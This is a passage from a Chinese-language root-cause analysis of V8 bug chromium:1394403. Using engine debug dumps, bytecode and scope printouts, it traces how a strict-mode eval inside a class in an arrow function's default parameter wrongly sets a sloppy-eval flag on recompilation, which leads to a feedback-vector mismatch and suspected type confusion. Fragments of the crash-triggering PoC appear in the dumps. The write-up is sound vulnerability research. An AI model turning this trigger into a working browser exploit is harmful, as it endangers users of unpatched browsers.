 - map: 0x06e00000273d <Map(FEEDBACK_VECTOR_TYPE)>
 - length: 11
 - shared function info: 0x06e00025a505 <SharedFunctionInfo>
 - no optimized code
 - tiering state: TieringState::kNone
 - maybe has maglev code: 0
 - maybe has turbofan code: 0
 - invocation count: 4
 - profiler ticks: 0
 - closure feedback cell array: 0x6e00025a8e1: [ClosureFeedbackCellArray] in OldSpace
 - map: 0x06e000002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
 - length: 2
           0: 0x06e00025a8f1 <FeedbackCell[many closures]>
           1: 0x06e00025a8fd <FeedbackCell[many closures]>

 - slot #0 Literal  {
     [0]: 0x06e00025b0b5 <AllocationSite>
  }
 - slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
   [weak] 0x06e00025442d <PropertyCell name=0x06e000006005 <String[4]: #eval> value=0x06e00024af25 <JSFunction eval (sfi = 0x6e00021dca1)>> {
     [1]: [weak] 0x06e00025442d <PropertyCell name=0x06e000006005 <String[4]: #eval> value=0x06e00024af25 <JSFunction eval (sfi = 0x6e00021dca1)>>
     [2]: 0x06e0000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #3 Call MONOMORPHIC {
     [3]: [weak] 0x06e00024af25 <JSFunction eval (sfi = 0x6e00021dca1)>
     [4]: 12
  }
 - slot #5 DefineNamedOwn MONOMORPHIC {
     [5]: [weak] 0x06e00025a931 <Map[16](HOLEY_ELEMENTS)>
     [6]: 3604480
  }
 - slot #7 SetNamedStrict MONOMORPHIC
   [cleared]: StoreHandler(<unexpected>)(0x06e0000073e5 <Symbol: (uninitialized_symbol)>) {
     [7]: [cleared]
     [8]: 0x06e0000073e5 <Symbol: (uninitialized_symbol)>
  }

其中,ClosureFeedbackCellArray的存在引起了我的注意,該數組內部有兩個元素,存儲的都是FeedbackCell,且都不是Lambda表達式實例的FeedbackCell。這個名字讓我感覺Lambda表達式實例內部還存在兩個閉包,需要繼續進行探究。

lambda表達式實例的字節碼

為找到lambda表達式實例內部的兩個閉包,觀察第二次生成的lambda表達式實例字節碼如下:

[generated bytecode for function:  (0x06e00025a505 <SharedFunctionInfo>)]
Bytecode length: 103
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x6e00025c46a @    0 : 83 00 02          CreateFunctionContext [0], [2]
         0x6e00025c46d @    3 : 1a f9             PushContext r1
         0x6e00025c46f @    5 : 10                LdaTheHole
         0x6e00025c470 @    6 : 25 03             StaCurrentContextSlot [3]
         0x6e00025c472 @    8 : 0b 03             Ldar a0
         0x6e00025c474 @   10 : 9d 54             JumpIfNotUndefined [84] (0x6e00025c4c8 @ 94)
         0x6e00025c476 @   12 : 81 01             CreateBlockContext [1]
         0x6e00025c478 @   14 : 1a f8             PushContext r2
         0x6e00025c47a @   16 : 10                LdaTheHole
         0x6e00025c47b @   17 : 25 02             StaCurrentContextSlot [2]
         0x6e00025c47d @   19 : 10                LdaTheHole
         0x6e00025c47e @   20 : 25 03             StaCurrentContextSlot [3]
         0x6e00025c480 @   22 : 10                LdaTheHole
         0x6e00025c481 @   23 : be                Star6
         0x6e00025c482 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x6e00025c486 @   28 : c1                Star3
         0x6e00025c487 @   29 : 13 02             LdaConstant [2]
         0x6e00025c489 @   31 : c0                Star4
         0x6e00025c48a @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x6e00025c48e @   36 : bc                Star8
         0x6e00025c48f @   37 : 28 05 01 02       LdaLookupGlobalSlot [5], [1], [2]
         0x6e00025c493 @   41 : bb                Star9
         0x6e00025c494 @   42 : 61 f1 03          CallUndefinedReceiver0 r9, [3]
         0x6e00025c497 @   45 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]
         0x6e00025c49b @   49 : 19 f7 f5          Mov r3, r5
         0x6e00025c49e @   52 : 0b f2             Ldar r8
         0x6e00025c4a0 @   54 : 97 05             JumpIfToBooleanFalse [5] (0x6e00025c4a5 @ 59)
         0x6e00025c4a2 @   56 : 0c                LdaZero
         0x6e00025c4a3 @   57 : 8a 07             Jump [7] (0x6e00025c4aa @ 64)
         0x6e00025c4a5 @   59 : 0d 01             LdaSmi [1]
         0x6e00025c4a7 @   61 : 2c 07 01          StaLookupSlot [7], #1
         0x6e00025c4aa @   64 : 73 f3             ToName r7
         0x6e00025c4ac @   66 : 0b f3             Ldar r7
         0x6e00025c4ae @   68 : 25 02             StaCurrentContextSlot [2]
         0x6e00025c4b0 @   70 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x6e00025c4b5 @   75 : 0b f7             Ldar r3
         0x6e00025c4b7 @   77 : 25 03             StaCurrentContextSlot [3]
         0x6e00025c4b9 @   79 : 80 08 01 02       CreateClosure [8], [1], #2
         0x6e00025c4bd @   83 : c0                Star4
         0x6e00025c4be @   84 : 32 f7 09 07       SetNamedProperty r3, [9], [7]
         0x6e00025c4c2 @   88 : 1b f8             PopContext r2
         0x6e00025c4c4 @   90 : 0b f7             Ldar r3
         0x6e00025c4c6 @   92 : 8a 04             Jump [4] (0x6e00025c4ca @ 96)
         0x6e00025c4c8 @   94 : 0b 03             Ldar a0
         0x6e00025c4ca @   96 : 25 03             StaCurrentContextSlot [3]
         0x6e00025c4cc @   98 : 13 0a             LdaConstant [10]
         0x6e00025c4ce @  100 : c4                Star0
         0x6e00025c4cf @  101 : 0e                LdaUndefined
         0x6e00025c4d0 @  102 : a9                Return
Constant pool (size = 11)
0x6e00025c409: [FixedArray] in OldSpace
 - map: 0x06e000002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 11
           0: 0x06e00025c26d <ScopeInfo FUNCTION_SCOPE>
           1: 0x06e00025c29d <ScopeInfo CLASS_SCOPE>
           2: 0x06e00025c3e5 <FixedArray[7]>
           3: 0x06e00025c2f1 <SharedFunctionInfo b3>
           4: 0x06e00025c351 <ObjectBoilerplateDescription[3]>
           5: 0x06e000006005 <String[4]: #eval>
           6: 0x06e0000040a5 <String[1]: #c>
           7: 0x06e00025c215 <String[2]: #aa>
           8: 0x06e00025c329 <SharedFunctionInfo <instance_members_initializer>>
           9: 0x06e0000071e5 <Symbol: (class_fields_symbol)>
          10: 0x06e00025c43d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)

觀察該字節碼,發現其中共有3個SharedFunctionInfo出現,分別對應lambda表達式實例及其內部共3個閉包。在程序崩潰后,依次打印它們SharedFunctionInfo和當前Scope的調試信息:

  • 0x06e00025c329: member initializer for class b3's new instance
0x6e00025c329: [SharedFunctionInfo] in OldSpace
 - map: 0x06e000002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
 - name: 0x06e00025c241 <String[30]: #<instance_members_initializer>>
 - inferred name: 0x06e000002529 <String[0]: #>
 - kind: ClassMembersInitializerFunction
 - syntax kind: AccessorOrMethod
 - function_map_index: 205
 - formal_parameter_count: 0
 - expected_nof_properties: 2
 - language_mode: strict
 - data: 0x06e00025c4e9 <BytecodeArray[10]>
 - code (from data): 0x06e00020b5b5 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
 - source code: class b3 {
            [({ c: eval() } ? 0 : (aa = 1))]
        }
 - script: 0x06e00025a2f5 <Script>
 - function token position: 455
 - start position: 455
 - end position: 520
 - no debug info
 - scope info: 0x06e00025c2c9 <ScopeInfo FUNCTION_SCOPE>
 - outer scope info: 0x06e00025c29d <ScopeInfo CLASS_SCOPE>
 - length: 0
 - feedback_metadata: 0x6e00025c525: [FeedbackMetadata] in OldSpace
 - map: 0x06e0000029a9 <Map(FEEDBACK_METADATA_TYPE)>
 - slot_count: 2
 - create_closure_slot_count: 0
 Slot #0 DefineKeyedOwn

0x6e00025c2c9: [ScopeInfo] in OldSpace
 - map: 0x06e0000025fd <Map(SCOPE_INFO_TYPE)>
 - parameters: 0
 - context locals : 0
 - inlined local names
 - scope type: FUNCTION_SCOPE
 - language mode: strict**
 - declaration scope
 - receiver: UNUSED
 - function name(UNUSED): 0x06e00025c241 <String[30]: #<instance_members_initializer>>
 - simple parameters
 - function kind: ClassMembersInitializerFunction
 - outer scope info: 0x06e00025c29d <ScopeInfo CLASS_SCOPE>
 - function name: 0x06e00025c241 <String[30]: #<instance_members_initializer>>
 - inferred function name: 0x06e0000023e1 <undefined>
 - start position: 455
 - end position: 520
 - length: 9
  • 0x06e00025c2f1: class b3
0x6e00025c2f1: [SharedFunctionInfo] in OldSpace
 - map: 0x06e000002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
 - name: 0x06e00025c205 <String[2]: #b3>
 - inferred name: 0x06e000004215 <String[1]: #z>
 - kind: DefaultBaseConstructor
 - syntax kind: AnonymousExpression
 - function_map_index: 213
 - formal_parameter_count: 0
 - expected_nof_properties: 1
 - language_mode: strict**
 - data: 0x06e00025c319 <UncompiledDataWithoutPreparseData (455, 455)]>
 - code (from data): 0x06e00020b7e5 <CodeDataContainer BUILTIN CompileLazy>
 - source code: 
 - script: 0x06e00025a2f5 <Script>
 - function token position: 455
 - start position: 455
 - end position: 455
 - no debug info
 - scope info: 0x06e000002765 <ScopeInfo>
 - outer scope info: 0x06e00025c29d <ScopeInfo CLASS_SCOPE>
 - length: 0
 - feedback_metadata: <none>
0x6e000002765: [ScopeInfo] in ReadOnlySpace
 - map: 0x06e0000025fd <Map(SCOPE_INFO_TYPE)>
 - empty
  • 0x06e00025a505: Lambda Expr
0x6e00025a505: [SharedFunctionInfo] in OldSpace
 - map: 0x06e000002625 <Map[40](SHARED_FUNCTION_INFO_TYPE)>
 - name: 0x06e000002529 <String[0]: #>
 - inferred name: 0x06e000002529 <String[0]: #>
 - kind: ArrowFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 205
 - formal_parameter_count: 1
 - expected_nof_properties: 2
 - language_mode: sloppy**
 - data: 0x06e00025c449 <BytecodeArray[103]>
 - code (from data): 0x06e00020b5b5 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
 - source code: (a = class b3 {
            [({ c: eval() } ? 0 : (aa = 1))]
        }) => { let z = 0xdeadbeef; }
 - script: 0x06e00025a2f5 <Script>
 - function token position: 450
 - start position: 450
 - end position: 548
 - no debug info
 - scope info: 0x06e00025c26d <ScopeInfo FUNCTION_SCOPE>
 - outer scope info: 0x06e00025a3fd <ScopeInfo BLOCK_SCOPE>
 - length: 0
 - feedback_metadata: 0x6e00025c4d5: [FeedbackMetadata] in OldSpace
 - map: 0x06e0000029a9 <Map(FEEDBACK_METADATA_TYPE)>
 - slot_count: 9
 - create_closure_slot_count: 2
 Slot #0 Literal
 Slot #1 LoadGlobalNotInsideTypeof
 Slot #3 Call
 Slot #5 DefineNamedOwn
 Slot #7 SetNamedStrict

0x6e00025c26d: [ScopeInfo] in OldSpace
 - map: 0x06e0000025fd <Map(SCOPE_INFO_TYPE)>
 - parameters: 1
 - context locals : 1
 - inlined local names
 - scope type: FUNCTION_SCOPE
 - sloppy eval                                                 ****[!!!!]****
 - language mode: sloppy
 - declaration scope
 - function name(UNUSED): 0x06e000002529 <String[0]: #>
 - function kind: ArrowFunction
 - outer scope info: 0x06e00025a3fd <ScopeInfo BLOCK_SCOPE>
 - function name: 0x06e000002529 <String[0]: #>
 - inferred function name: 0x06e0000023e1 <undefined>
 - has context extension slot
 - start position: 450
 - end position: 548
 - length: 11
 - context slots {
    - 0: 0x06e000004085 <String[1]: #a>
  }

Sloppy_eval

結合前面所述的背景知識與實際調試信息可以看到:class閉包和其實例成員初始化函數都處在嚴格模式下;lambda表達式實例處于松散模式下。 v8為實現“松散**模式下的 eval 為上層作用域 (surrounding scope,注:包圍 eval 代碼塊的范圍,v8稱為outer scope) 引入新變量”這一特性,在src/ast/scopes.hclass Scope 中引入了sloppy_eval_can_extend_vars_ 內部變量指示當前作用域內部是否存在松散模式的eval能夠更改當前作用域的變量環境(Variable Environment)。如果該變量為true,則某些優化必須被關閉以支持變量符號的動態查找。

image

觀察上述PoC、字節碼及Scope的打印信息,我們發現:eval明明存在于class內部的strict作用域中,不會為上層作用域引入任何變量。但lambda表達式實例的作用域調試信息中仍然被標記為sloppy eval,這就是Root Cause的最初步表現形式。

此時,我們再去看chromium的commit信息,就能夠對上了????????:

[parser] Fix eval tracking

Due to mismatch in strictness we otherwise invalidly mark scopes as
calling **sloppy eval**.

Bug: chromium:1394403
Change-Id: Iece45df87f171616a2917c2aba5540636880a7c6
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/4066044
Reviewed-by: Igor Sheludko <ishell@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Cr-Commit-Position: refs/heads/main@{#84575}

PS:終于寫到這了,這分析的太難了。

調試過程

運行選項及斷點信息

使用修改后的PoC2進行調試。

運行選項:

./d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info PoC.js

斷點信息:

Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x00007fa2d6eb6167 in v8::internal::MarkCompactCollector::ProcessOldCodeCandidates() at ../../src/heap/mark-compact.cc:3230
3       breakpoint     keep y   <MULTIPLE>         
    breakpoint already hit 1 time
3.1                         y   0x00007fa2d76409fa in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:1997
3.2                         y   0x00007fa2d767a876 in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:1997
4       breakpoint     keep y   <MULTIPLE>         
4.1                         y   0x00007fa2d7640b2c in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2007
4.2                         y   0x00007fa2d767a9a2 in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2007
5       breakpoint     keep y   <MULTIPLE>         
5.1                         y   0x00007fa2d7640b7e in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2012
5.2                         y   0x00007fa2d767a9fc in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2012
6       breakpoint     keep y   0x00007fa2d6803605 in v8::internal::Scope::Snapshot::Reparent(v8::internal::DeclarationScope*) at ../../src/ast/scopes.cc:888
7       breakpoint     keep y   0x00007fa2d6809eab in v8::internal::Scope::AllocateVariablesRecursively()::$_0::operator()(v8::internal::Scope*) const at ../../src/ast/scopes.cc:2580
8       breakpoint     keep y   0x00007fa2d7642a44 in v8::internal::Scope::Snapshot::~Snapshot() at ../../src/ast/scopes.h:129
9       breakpoint     keep y   0x00007fa2d68103b4 in v8::internal::DeclarationScope::RecordDeclarationScopeEvalCall() at ../../src/ast/scopes.h:908
10      breakpoint     keep y   0x00007fa2d68104e0 in v8::internal::DeclarationScope::RecordDeclarationScopeEvalCall() at ../../src/ast/scopes.h:944
11      breakpoint     keep y   0x00007fa2d6817124 in v8::internal::Scope::RecordEvalCall() at ../../src/ast/scopes.h:1369
12      breakpoint     keep y   0x00007fa2d76426a8 in v8::internal::Scope::Snapshot::Snapshot(v8::internal::Scope*) at ../../src/ast/scopes.h:1383

作用域信息

第一次編譯:

Inner function scope:
function a () { // (0x55b0a73971c0) (10, 402)
  // NormalFunction
  // 2 heap slots

  catch { // (0x55b0a7385428) (371, 400)
    // 2 heap slots
  }

  block { // (0x55b0a7385190) (23, 364)
    // 2 heap slots
    // local vars:
    LET tt;  // (0x55b0a73852f0) never assigned
  }
}
Global scope:
global { // (0x55b0a7396fd0) (0, 598)
  // inner scope calls 'eval'
  // will be compiled
  // NormalFunction
  // 4 stack slots
  // temporary vars:
  TEMPORARY .for;  // (0x55b0a7387148) local[0]
  TEMPORARY .for;  // (0x55b0a73871b8) local[1]
  TEMPORARY .for;  // (0x55b0a7387448) local[2]
  TEMPORARY .result;  // (0x55b0a73876e0) local[3]
  // local vars:
  VAR a;  // (0x55b0a7397380) 
  // dynamic vars:
  DYNAMIC_GLOBAL aa;  // (0x55b0a7387920) 
  DYNAMIC_GLOBAL eval;  // (0x55b0a7387950) never assigned

  block { // (0x55b0a7397500) (408, 598)
    // is hidden
    // inner scope calls 'eval'
    // 3 heap slots
    // local vars:
    LET j;  // (0x55b0a7397678) context[2]

    block { // (0x55b0a7397708) (418, 598)
      // inner scope calls 'eval'
      // 3 heap slots
      // local vars:
      LET j;  // (0x55b0a7387328) context[2]

      arrow (.0x55b0a7398a58) { // (0x55b0a7398830) (450, 548)
        // inner scope calls 'eval'
        // will be compiled
        // ArrowFunction
        // 1 stack slots
        // 3 heap slots
        // temporary vars:
        TEMPORARY .0x55b0a7398a58;  // (0x55b0a7398a58) parameter[0]
        // local vars:
        LET a;  // (0x55b0a7398a08) context[2]

        varblock { // (0x55b0a7398b50) (525, 548)
          // NormalFunction
          // local vars:
          LET z;  // (0x55b0a7398d40) local[0], never assigned, hole initialization elided
        }

        class b3 { // (0x55b0a7397bd8) (455, 520)
          // strict mode scope
          // inner scope calls 'eval'
          // 4 heap slots
          // local vars:
          CONST b3;  // (0x55b0a7398408) context[3]
          CONST .class-field-1;  // (0x55b0a73983d8) context[2], forced context allocation, never assigned
          // class var, used, index not saved:
          CONST b3;  // (0x55b0a7398408) context[3]

          function () { // (0x55b0a7398450) (455, 455)
            // strict mode scope
            // DefaultBaseConstructor
          }

          function <instance_members_initializer> () { // (0x55b0a7398118) (455, 520)
            // strict mode scope
            // will be compiled
            // ClassMembersInitializerFunction
          }
        }
      }
    }
  }

  function a () { // (0x55b0a73971c0) (10, 402)
    // lazily parsed
    // NormalFunction
    // 2 heap slots
  }
}

第二次編譯:

Global scope:
arrow (.0x55b0a736a238) { // (0x55b0a73693d0) (450, 548)
  // scope calls sloppy 'eval'
  // inner scope calls 'eval'
  // will be compiled
  // ArrowFunction
  // 1 stack slots
  // 4 heap slots
  // temporary vars:
  TEMPORARY .0x55b0a736a238;  // (0x55b0a736a238) parameter[0]
  // local vars:
  LET a;  // (0x55b0a73695c0) context[3]
  // dynamic vars:
  DYNAMIC_GLOBAL aa;  // (0x55b0a736a6a0) lookup
  DYNAMIC_GLOBAL eval;  // (0x55b0a736a700) lookup, never assigned

  varblock { // (0x55b0a736a330) (525, 548)
    // NormalFunction
    // local vars:
    LET z;  // (0x55b0a736a520) local[0], never assigned, hole initialization elided
  }

  class b3 { // (0x55b0a73695f0) (455, 520)
    // strict mode scope
    // inner scope calls 'eval'
    // 4 heap slots
    // local vars:
    CONST b3;  // (0x55b0a7369e20) context[3]
    CONST .class-field-1;  // (0x55b0a7369df0) context[2], forced context allocation, never assigned
    // class var, used, index not saved:
    CONST b3;  // (0x55b0a7369e20) context[3]

    function () { // (0x55b0a7369e68) (455, 455)
      // strict mode scope
      // DefaultBaseConstructor
    }

    function <instance_members_initializer> () { // (0x55b0a7369b30) (455, 520)
      // strict mode scope
      // will be compiled
      // ClassMembersInitializerFunction
    }
  }
}

基于代碼的Root Cause分析

用一句話概括問題的出現原因:由于Parser解析方式和GC垃圾回收的共同影響:使得第一次字節碼編譯時,Sloppy_Eval標記過程對最外層DeclarationScope(Script_Scope)未產生影響;第二次字節碼編譯時,Sloppy_Eval標記過程對最外層DeclarationScope(Arrow_Function_Scope)錯誤設置了Sloppy_Eval Flag。

代碼分析

ArrowFunction的Parser邏輯

我們關注的最外層主要代碼邏輯位于src/parsing/parser-base.h:1983~2018 。這部分代碼負責'(' Expression ')'的語法解析:

image

對'(' Expression ')'的語法解析又分為兩種情況:

  • '(' Expression ')'后緊接=>,指示一個箭頭函數
  • 或者任何其他情況

本分析只與箭頭函數相關,對于其他情況不再解釋。代碼的第1986~1996行負責無參箭頭函數的解析,也與本分析無關,不在講解范圍。我們著重介紹第1997~2015行的代碼。

經過對這段代碼的分析,我認為V8的Parser采用的是一趟式分析(One-Pass)。即Parser嘗試僅分析一趟Token流就建好JavaScript源碼對應的抽象語法樹和對應的作用域信息。

由于采用One-Pass Parse,在解析小括號內的表達式部分時,Parser還不能確定右小括號后接的是否為箭頭,也就不能確定到底是否存在一個箭頭函數。當小括號內的表達式解析完畢后,我們通過讀入的Token判定箭頭函數是否存在:

  • 如果箭頭函數不存在,那么小括號內的表達式應該位于當前作用域,表達式內部創建的變量也位于當前的作用域。
  • 幾乎不需要做任何操作(第2014行)。
  • 如果箭頭函數存在,那么小括號內的表達式是箭頭函數的參數部分,它的作用域應該位于箭頭函數的作用域內部,內部創建的變量也應該移入箭頭函數內。因此在代碼中,
  • 首先需要創建箭頭函數的作用域(第2011行)。
  • 因為小括號內的表達式及其關聯的作用域、相關變量在創建時,已經提前被作為當前作用域的下級,那么就要將小括號內的表達式對應的作用域的Outer Scope設為這個箭頭函數對應的Scope,同時將變量全部移入箭頭函數的Scope內。(第2012行的reparent操作)

但一個作用域中存儲的信息不只包含小括號內新解析出的表達式對應的信息,也包括解析小括號前對應的信息。我們在將新表達式、新作用域和新變量移入箭頭的作用域時,應該如何區分它們是原本就存在?還是因為解析小括號的內容所新增加的?

所以,此時引入了第1997行的snapshot數據結構,它在處理箭頭函數前記錄了Scope所有內部數據結構的最頂部指針。在解析小括號內的表達式時,為當前Scope增加任何數據都只會在Scope數據結構的最頂部增加。一旦確定箭頭函數存在,第2012行的reparent操作就通過差分的比較當前Scope和snapshot的數據來確定應當移入箭頭函數作用域的數據。

Sloppy_Eval Flag的設置邏輯

Sloppy_Eval Flag的設置邏輯位于src/ast/scopes.h

image

image

image

當Parser確定一個作用域中存在對eval的調用時,就會調用Scope::RecordEvalCall 通知當前Scope的最近父DeclarationScope(相當于Variable Environment)設置其sloppy_eval flag為true,以使得eval內的代碼能在對應DeclarationScope內對var變量進行增刪改操作。

模擬執行

第一次Parse

第一次解析時,Ignition對全程序進行字節碼編譯。發生Scope::RecordEvalCall 通知時,eval對應的作用域還未移入箭頭函數對應的作用域。因此,雖然箭頭函數作用域是一個DeclarationScope,但對當前Scope的最近父DeclarationScope也不會定位到Arrow_Function_Scope,而是定位到了Script_Scope,也即全局作用域。根據RecordDeclarationScopeEvalCall 函數的代碼邏輯,不會對Script_Scope進行Sloppy_Eval flag的標記。

第二次Parse

第二次Parse是因為GC的發生,lambda表達式實例被重新字節碼編譯。發生Scope::RecordEvalCall 通知時,當前Scope的Outer Scope直接指向Arrow_Function_Scope,它是一個DeclarationScope。對當前Scope的最近父DeclarationScope直接定位到了Arrow_Function_Scope,此時根據RecordDeclarationScopeEvalCall 的代碼邏輯,會將Lambda表達式實例直接標記為sloppy_eval。

反思總結

分析到這里,Root Cause應該是比較清晰了。我現在懷疑是兩次Parse之間sloppy_eval flag的有無,對數據結構的操縱產生了不一致性,而且這種不一致性沒有被gc所消除,進而導致的Type Confusion。

預備知識3

V8基礎知識

V8的字節碼指令系統設計

V8的字節碼采用累加器-寄存器型指令系統,字節碼的絕大部分操作數為寄存器和累加器,其他的操作數在指令規范中進行特殊規定。

V8的解釋器 Ignition 可使用無窮多個寄存器 r0,r1,r2,... 和累加器寄存器(accumulator register)。幾乎所有的字節碼都使用累加器寄存器。它像一個常規寄存器,除了字節碼沒有指定。 例如,Add r1 將寄存器 r1 中的值和累加器中的值進行加法運算。這使得字節碼更短,節省內存。

許多字節碼以 Lda 或 Sta 開頭。Lda 和 Sta 中的 a 為累加器(accumulator)。例如,

  • LdaSmi [42] 將小整數(Smi)42 加載到累加器寄存器中。
  • Star r0 將當前在累加器中的值存儲在寄存器 r0 中。

V8字節碼實例

JavaScript代碼:

function incrementX(obj) {
  return 1 + obj.x;
}

incrementX({x: 42}); // V8 的編譯器是惰性的,如果一個函數沒有運行,V8 將不會解釋它

ByteCode:

[generated bytecode for function: incrementX (0x2ceb0025b2e9 <SharedFunctionInfo incrementX>)]
Bytecode length: 11
Parameter count 2
Register count 1
Frame size 8
Bytecode age: 0
         0x2ceb0025b5ae @    0 : 0d 01             LdaSmi [1]
         0x2ceb0025b5b0 @    2 : c4                Star0
         0x2ceb0025b5b1 @    3 : 2d 03 00 01       GetNamedProperty a0, [0], [1]
         0x2ceb0025b5b5 @    7 : 38 fa 00          Add r0, [0]
         0x2ceb0025b5b8 @   10 : a9                Return
Constant pool (size = 1)
0x2ceb0025b581: [FixedArray] in OldSpace
 - map: 0x2ceb00002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 1
           0: 0x2ceb000041f5 <String[1]: #x>

以下是對每一行字節碼的解釋:

LdaSmi [1]

LdaSmi <imm>

Load an integer literal into the accumulator as a Smi.

LdaSmi [1] 將常量 1 加載到累加器中。

image

Star0 = Star r0

Star <dst>

Store accumulator to register <dst>.

接下來,Star r0 將當前在累加器中的值 1 存儲在寄存器 r0 中。

image

GetNamedProperty a0, [0], [1]

GetNamedProperty <object> <name_index> <slot>

Calls the LoadIC at FeedBackVector slot <slot> for <object> and the name at constant pool entry <name_index>.

GetNamedProperty 將 a0 的命名屬性加載到累加器中。ai 指向 incrementX() 的第 i 個參數。在這個例子中,我們在 a0 上查找一個命名屬性,這是 incrementX() 的第一個參數。該屬性名由常量 0 確定。GetNamedProperty 使用 0 在常量池中查找名稱:

Constant pool (size = 1)
0x2ceb0025b581: [FixedArray] in OldSpace
 - map: 0x2ceb00002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 1
           0: 0x2ceb000041f5 <String[1]: #x>

可以看到,0 映射到了 x。因此這行字節碼的意思是加載 obj.x。

那么值為 1 的操作數是干什么的呢? 它是函數 incrementX() 的反饋向量(Feedback Vector)的索引。反饋向量包含用于性能優化的 runtime 信息。

現在寄存器看起來是這樣的:

image

Add r0, [0]

// Add <src> <slot>
//
// Add register <src> to accumulator using Feedback slot <slot>.

最后一條指令將 r0 加到累加器,結果是 43。 0 是反饋向量的另一個索引。

image

Return

Return

Return the value in the accumulator.

Return 返回累加器中的值。返回語句是函數 incrementX() 的結束。此時 incrementX() 的調用者可以在累加器中獲得值 43,并可以進一步處理此值。

V8字節碼列表及部分字節碼的定義解釋

字節碼列表

image

部分字節碼定義解釋
- Star <dst>
Store accumulator to register <dst>.

- Ldar <src>
Load accumulator with value from register <src>.

- StaGlobal <name_index> <slot>
Store the value in the accumulator into the global with name in constant pool entry <name_index> using FeedBackVector slot <slot>.

- LdaGlobal <name_index> <slot>
Load the global with name in constant pool entry <name_index> into the accumulator using FeedBackVector slot <slot> outside of a typeof.

- StaLookupSlot <name_index> <flags>
Store the object in accumulator to the object with the name in constant pool entry |name_index|.

- LdaLookupContextSlot <name_index> <slot_index> <depth>
Lookup the object with the name in constant pool entry |name_index| dynamically.

- LdaLookupGlobalSlot <name_index> <feedback_slot> <depth>
Lookup the object with the name in constant pool entry |name_index| dynamically.

- LdaContextSlot <context> <slot_index> <depth>
Load the object in |slot_index| of the context at |depth| in the context chain starting at |context| into the accumulator.

- Call <callable> <receiver> <arg_count> <feedback_slot_id>
Call a JSfunction or Callable in |callable| with the |receiver| and |arg_count| arguments in subsequent registers. Collect type feedback into |feedback_slot_id|.

- DefineNamedOwnProperty <object> <name_index> <slot>
Calls the DefineNamedOwnIC at FeedBackVector slot <slot> for <object> and the name in constant pool entry <name_index> with the value in the accumulator.

- SetNamedProperty <object> <name_index> <slot>
Calls the StoreIC at FeedBackVector slot <slot> for <object> and the name in constant pool entry <name_index> with the value in the accumulator.

V8 Ignition的語法分析后變量綁定

src/ast/scopes.h:77

Each reference (i.e. identifier) to a JavaScript variable (including global properties) is represented by a VariableProxy node. Immediately after AST construction and before variable allocation, most VariableProxy nodes are "unresolved", i.e. not bound to a corresponding variable (though some are bound during parse time). Variable allocation binds each unresolved VariableProxy to one Variable and assigns a location. Note that many VariableProxy nodes may refer to the same JavaScript variable.

Ignition在構造抽象語法樹AST時,JavaScript變量(包括全局屬性)的每個引用(即標識符)都由VariableProxy節點表示。

  • 在AST構造之后和變量分配之前,大多數VariableProxy節點都是“未解析的”,即未綁定到相應的變量(盡管有些節點可以在語法分析期間綁定)。
  • 變量分配將每個未解析的VariableProxy綁定到一個變量并分配一個存儲位置。請注意,多個VariableProxy節點可能指向相同的JavaScript變量。

第三次分析:PoC3從Root Cause sloppy_eval到字節碼不一致的分析

運行選項

使用修改后的PoC3進行調試:

./d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info PoC.js

兩次編譯中字節碼的不一致

我們想通過比較垃圾回收前后對于同一個函數字節碼編譯結果的差異,找到受sloppy eval影響產生的字節碼。

image

通過比較,我們發現:兩次編譯中,為JavaScript語句aa=0xff 產生的字節碼存在差異。第一次采用StaGlobal 字節碼對aa變量進行存儲,Feedback信息記錄到Slot 7中;第二次采用StaLookupSlot 字節碼對aa變量進行存儲,不包含Feedback信息的記錄。因為這條字節碼的生成不一致,第一次編譯相比第二次編譯Feedback Vector長度多2,從而導致了PoC3的運行時檢查崩潰。

接下來,我們嘗試進入V8解釋器Ignition的語義分析和字節碼生成器部分進行調試,探索sloppy_eval是如何影響字節碼生成的。

調試過程

BytecodeGenerator

為了跟蹤aa=0xff的字節碼生成過程,我們首先在函數BytecodeGenerator::BuildAssignment處下斷,位于src/interpreter/bytecode-generator.cc:4485 ,條件lhs_data.expr_.position_==501

image

第一次字節碼生成

進入BytecodeGenerator::BuildVariableAssignment 函數后,發現variable->mode()的結果是v8::internal::VariableMode::kDynamicGlobalvariable->location() 的結果是v8::internal::UNALLOCATED 。選擇發射StaGlobal 字節碼。

image

調用棧:

